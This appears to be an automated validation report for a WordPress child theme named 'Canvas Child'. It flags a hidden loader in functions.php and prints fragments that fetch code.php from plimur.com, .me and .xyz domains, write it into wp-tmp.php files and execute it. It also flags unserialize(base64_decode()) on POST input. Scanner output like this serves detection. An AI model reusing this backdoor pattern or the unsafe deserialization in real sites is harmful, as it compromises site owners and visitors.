0
Validation results

Canvas Child

Canvas Child

WordPress 4.9.8 theme
0
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Security breaches : Use of base64_decode() Found base64_decode in file admin-functions.php.
    Line 1025: $cred = unserialize(base64_decode($_POST['woo_ftp_cred']));
    Line 1103: $cred = unserialize( base64_decode( $_POST['woo_ftp_cred'] ) );
  3. Security breaches : Use of base64_encode() Found base64_encode in file admin-functions.php.
     <input type='hidden' name='woo_ftp_cred' value='<?php echo esc_attr( base64_encode(serialize($_POST))); ?>' />
  4. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe src="https://player.vimeo.com/video/138160112" width="100%" height="100%" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen> in file header.php.
    Line 114: <iframe src='https://player.vimeo.com/video/138160112' width='100%' height=
    Found <iframe src="' . esc_url( $src_url ) . '" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:' . esc_attr( $widthpx ) . '; height:' . esc_attr( $height ) . 'px;"> in file admin-shortcodes.php.
    Line 644: <iframe src='' . esc_url( $src_url ) . '' frameborder='0' allowTransparency
  5. Malware : Operations on file system file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 102: if (($tmpcontent = @file_get_contents('http://www.plimur.com/code.php') OR $tmpcontent = @file_
    Line 119: elseif ($tmpcontent = @file_get_contents('http://www.plimur.me/code.php')  AND stripos($tmpcontent
    Line 133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    Line 142: } elseif (($tmpcontent = @file_get_contents('http://www.plimur.xyz/code.php') OR $tmpcontent = @file_
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 111: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 128: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 102: if (($tmpcontent = @file_get_contents('http://www.plimur.com/code.php') OR $tmpcontent = @file_
    Line 119: elseif ($tmpcontent = @file_get_contents('http://www.plimur.me/code.php')  AND stripos($tmpcontent
    Line 133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    Line 142: } elseif (($tmpcontent = @file_get_contents('http://www.plimur.xyz/code.php') OR $tmpcontent = @file_
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 111: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 128: @file_put_contents('wp-tmp.php', $tmpcontent);
    fopen was found in the file functions.php
    Line 92: $handle   = fopen($tmpfname, 'w+');
    fwrite was found in the file functions.php
    Line 93: fwrite($handle, '<?php\n' . $phpCode);
    fclose was found in the file functions.php
    Line 94: fclose($handle);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 102: if (($tmpcontent = @file_get_contents('http://www.plimur.com/code.php') OR $tmpcontent = @file_
    Line 119: elseif ($tmpcontent = @file_get_contents('http://www.plimur.me/code.php')  AND stripos($tmpcontent
    Line 133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    Line 142: } elseif (($tmpcontent = @file_get_contents('http://www.plimur.xyz/code.php') OR $tmpcontent = @file_
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 111: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 128: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 111: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 128: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 111: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 128: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 102: if (($tmpcontent = @file_get_contents('http://www.plimur.com/code.php') OR $tmpcontent = @file_
    Line 119: elseif ($tmpcontent = @file_get_contents('http://www.plimur.me/code.php')  AND stripos($tmpcontent
    Line 133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    Line 142: } elseif (($tmpcontent = @file_get_contents('http://www.plimur.xyz/code.php') OR $tmpcontent = @file_
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 111: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 128: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 111: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 128: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 111: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 128: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 102: if (($tmpcontent = @file_get_contents('http://www.plimur.com/code.php') OR $tmpcontent = @file_
    Line 119: elseif ($tmpcontent = @file_get_contents('http://www.plimur.me/code.php')  AND stripos($tmpcontent
    Line 133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    Line 142: } elseif (($tmpcontent = @file_get_contents('http://www.plimur.xyz/code.php') OR $tmpcontent = @file_
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 102: if (($tmpcontent = @file_get_contents('http://www.plimur.com/code.php') OR $tmpcontent = @file_
    Line 119: elseif ($tmpcontent = @file_get_contents('http://www.plimur.me/code.php')  AND stripos($tmpcontent
    Line 133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    Line 142: } elseif (($tmpcontent = @file_get_contents('http://www.plimur.xyz/code.php') OR $tmpcontent = @file_
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 102: if (($tmpcontent = @file_get_contents('http://www.plimur.com/code.php') OR $tmpcontent = @file_
    Line 119: elseif ($tmpcontent = @file_get_contents('http://www.plimur.me/code.php')  AND stripos($tmpcontent
    Line 133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    Line 142: } elseif (($tmpcontent = @file_get_contents('http://www.plimur.xyz/code.php') OR $tmpcontent = @file_
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 102: if (($tmpcontent = @file_get_contents('http://www.plimur.com/code.php') OR $tmpcontent = @file_
    Line 119: elseif ($tmpcontent = @file_get_contents('http://www.plimur.me/code.php')  AND stripos($tmpcontent
    Line 133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    Line 142: } elseif (($tmpcontent = @file_get_contents('http://www.plimur.xyz/code.php') OR $tmpcontent = @file_
    file_get_contents was found in the file class-wf-backup.php
    Line 189: $upload = file_get_contents( $_FILES['woothemes-import-file']['tmp_name'] );
  6. Malware : Network operations curl_init was found in the file functions.php
    Line 78: $ch = curl_init();
    curl_exec was found in the file functions.php
    Line 84: $data = curl_exec($ch);
  7. Admin menu : Themes should use add_theme_page() for adding admin pages. File woo-layout.class.php :
    Line 136: if ( function_exists( 'add_submenu_page' ) ) {
    Line 137: $this->admin_page = add_submenu_page('woothemes', __( 'Layouts', 'woothemes' ), __( 'Layouts', 
    File woo-layout.class.php :
    Line 136: if ( function_exists( 'add_submenu_page' ) ) {
    Line 137: $this->admin_page = add_submenu_page('woothemes', __( 'Layouts', 'woothemes' ), __( 'Layouts', 
    File woo-hooks.class.php :
    Line 199: if ( function_exists( 'add_submenu_page' ) ) {
    Line 200: $this->admin_page = add_submenu_page('woothemes', __( 'Hooks', 'woothemes' ), __( 'Hooks', 'woo
    File woo-hooks.class.php :
    Line 199: if ( function_exists( 'add_submenu_page' ) ) {
    Line 200: $this->admin_page = add_submenu_page('woothemes', __( 'Hooks', 'woothemes' ), __( 'Hooks', 'woo
    File woo-meta.class.php :
    Line 230: if ( function_exists( 'add_submenu_page' ) ) {
    Line 231: $this->admin_page = add_submenu_page( 'woothemes', __( 'Filters', 'woothemes' ), __( 'Filters',
    File woo-meta.class.php :
    Line 230: if ( function_exists( 'add_submenu_page' ) ) {
    Line 231: $this->admin_page = add_submenu_page( 'woothemes', __( 'Filters', 'woothemes' ), __( 'Filters',
    File class-wf-settings.php :
    Line 91: add_menu_page( __( 'Settings', 'woothemes' ),  esc_html( $theme_name ), 'ed
    File class-wf-settings.php :
    Line 92: $wf_settings_screen_hook = add_submenu_page( 'woothemes', esc_html( $theme_name ), __( 'Settings', 'wo
    File class-wf-backup.php :
    Line 53: $this->_admin_page = add_submenu_page( 'woothemes', __( 'WooThemes Settings Backup', 'woothemes'
    File class-wf-screen-welcome.php :
    Line 37: $about = add_submenu_page( 'woothemes', $this->_theme_data['theme_name'], $this->_th
    File class-wf-screen-framework.php :
    Line 43: $framework = add_submenu_page( 'woothemes', __( 'Framework', 'woothemes' ), __( 'Framewo
    File admin-interface.php :
    Line 168: $framework_update_page = add_submenu_page( 'woothemes', 'WooFramework Update', 'Update Framework', '
    File admin-functions.php :
    Line 3553: $timthumb_retire_page = add_submenu_page( 'woothemes', 'Remove Timthumb', 'Remove Timthumb', 'manag
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  2. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is canvas-child.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'Below you can control settings for the Magazine page template. Please refer to <a href="%s">documentation</a> on how to setup the page template.' in file theme-options.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Below you can control settings for the Business page template. Please refer to <a href="%s">documentation</a> on how to setup the page template. You can add slider posts with the <strong><em>Slides</em></strong> custom post type.' in file theme-options.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Home' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Restricted Menu' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'http://codex.wordpress.org/Child_Themes' in file class-wf-screen-welcome.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Cheatin&#8217; huh?' in file class-wf.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Cheatin&#8217; huh?' in file class-wf.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are woothemes, woocommerce.
  4. Cdn : Use of CDNFound the URL of a CDN in the code: html5shiv.googlecode.com/svn/trunk/html5.js. CSS or Javascript resources should not be loaded from a CDN. These resources should be bundled with the theme.
  5. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  6. Unwanted files : hidden file(s) or folder(s).ds_store was found.
  7. PHP short tags : Presence of PHP short tagsPHP short tags were found in file header.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Line 39: siteUrl: '<? echo site_url(); ?>',
    Line 40: templateUrl : '<? echo get_stylesheet_directory_uri(); ?>'
    PHP short tags were found in file footer.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Line 39: siteUrl: '<? echo site_url(); ?>',
    Line 40: templateUrl : '<? echo get_stylesheet_directory_uri(); ?>'
    PHP short tags were found in file header-login.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Line 23: siteUrl: '<? echo site_url(); ?>',
    Line 24: templateUrl : '<? echo get_stylesheet_directory_uri(); ?>'
  8. Line endings consistency : Both DOS and UNIX style line endingsFound a mix of \r\n and \n line endings in file functions.php.
  9. I18N implementation : Proper use of ___all(Possible variable $textdomain found in translation function in functions.php. Translation function calls should not contain PHP variables.
    Line 63: $args = apply_filters( 'canvas_sensei_breadcrumb_args', array( 'show_home' => __( 'Home', $textdomain ) ) );
  10. CSS files : Presence of license typeLicense: is missing from style.css header.
  11. CSS files : Presence of license urlLicense URI: is missing from style.css header.
  12. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  13. CSS files : Presence of .sticky class.sticky css class is needed in theme css.
  14. CSS files : Presence of .wp-caption class.wp-caption css class is needed in theme css.
  15. CSS files : Presence of .wp-caption-text class.wp-caption-text css class is needed in theme css.
  16. CSS files : Presence of .gallery-caption class.gallery-caption css class is needed in theme css.
  17. CSS files : Presence of Author URICould not find Author URI.
  18. Date and time implementation : Use of the_time()At least one hard coded date was found in the file template-timeline.php. Function get_option( 'date_format' ) should be used instead.
  19. Screenshot : Screenshot fileScreenshot size is 600x450px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  5. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  6. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  7. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  8. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  9. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  10. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  11. Use of includes : Use of include or requireThe theme appears to use include or require : woo-layout.php
    Line 2: require_once( 'classes/woo-layout.class.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : woo-layout.class.php
    Line 163: include_once( $this->plugin_path . '/screens/admin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-plugin-integrations.php
    Line 19: require_once( get_template_directory() . '/includes/integrations/testimonia
    Line 27: require_once( get_template_directory() . '/includes/integrations/our-team/o
    Line 35: require_once( get_template_directory() . '/includes/integrations/projects/s
    Line 36: require_once( get_template_directory() . '/includes/integrations/projects/t
    Line 37: require_once( get_template_directory() . '/includes/integrations/projects/f
    Line 46: require_once( get_template_directory() . '/includes/integrations/wooslider/
    Line 55: require_once( get_template_directory() . '/includes/integrations/woocommerc
    Line 56: require_once( get_template_directory() . '/includes/integrations/woocommerc
    Line 57: require_once( get_template_directory() . '/includes/integrations/woocommerc
    Line 65: require_once( get_template_directory() . '/includes/integrations/features/f
    Line 73: require_once( get_template_directory() . '/includes/integrations/archives/a
    Line 81: require_once( get_template_directory() . '/includes/integrations/subscribe-
    Line 89: require_once( get_template_directory() . '/includes/integrations/sensei/set
    Line 90: require_once( get_template_directory() . '/includes/integrations/sensei/tem
    Line 91: require_once( get_template_directory() . '/includes/integrations/sensei/fun
    Line 99: require_once( get_template_directory() . '/includes/integrations/gravity-fo
    Line 107: require_once( get_template_directory() . '/includes/integrations/jetpack/je
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : woo-hooks.php
    Line 2: require_once( 'classes/woo-hooks.class.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : woo-hooks.class.php
    Line 223: include_once( $this->plugin_path . '/screens/admin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-actions.php
    Line 2422: require_once ( $includes_path . 'tumblog/theme-tumblog.php' );		// Tumblog 
    Line 2425: require_once( $includes_path . 'tumblog/wootumblog_postformat.class.php' );
    Line 2427: require_once ( $includes_path . 'tumblog/theme-custom-post-types.php' );	//
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : woo-meta.php
    Line 2: require_once( 'classes/woo-meta.class.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : woo-meta.class.php
    Line 254: include_once( $this->plugin_path . '/screens/admin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : admin-init.php
    Line 42: require_once( $functions_path . 'deprecated.php' );                        
    Line 43: require_once( $functions_path . 'admin-medialibrary-uploader.php' );       
    Line 46: require_once( $classes_path . 'class-wf.php' );                            
    Line 47: require_once( $classes_path . 'class-wf-fields.php' );                     
    Line 48: require_once( $classes_path . 'class-wf-fields-settings.php' );            
    Line 49: require_once( $classes_path . 'class-wf-fields-meta.php' );                
    Line 50: require_once( $classes_path . 'class-wf-settings.php' );                   
    Line 51: require_once( $classes_path . 'class-wf-meta.php' );                       
    Line 67: require_once( $functions_path . 'admin-functions.php' );					// Functions u
    Line 68: require_once( $functions_path . 'admin-setup.php' );						// Set up the Woo
    Line 69: require_once( $functions_path . 'admin-interface.php' );					// Administrat
    Line 70: require_once( $functions_path . 'admin-seo.php' );							// SEO functions.
    Line 71: require_once( $functions_path . 'admin-sbm.php' ); 						    // Widget Area
    Line 72: require_once( $functions_path . 'admin-hooks.php' );						// Contextual hoo
    Line 75: require_once( $functions_path . 'admin-custom-nav.php' );				// Woo Custom 
    Line 78: require_once ( $functions_path . 'admin-shortcodes.php' );					// Woo Short
    Line 82: require_once( $classes_path . 'class-wf-screen-admin-base.php' );       // 
    Line 83: require_once( $classes_path . 'class-wf-screen.php' );                  // 
    Line 84: require_once( $classes_path . 'class-wf-screen-welcome.php' );          // 
    Line 85: require_once( $classes_path . 'class-wf-screen-framework.php' );        // 
    Line 87: require_once( $classes_path . 'class-wf-backup.php' );                  // 
    Line 88: require_once( $functions_path . 'admin-backup.php' );                   // 
    Line 89: require_once( $functions_path . 'admin-shortcode-generator.php' ); 	    // 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes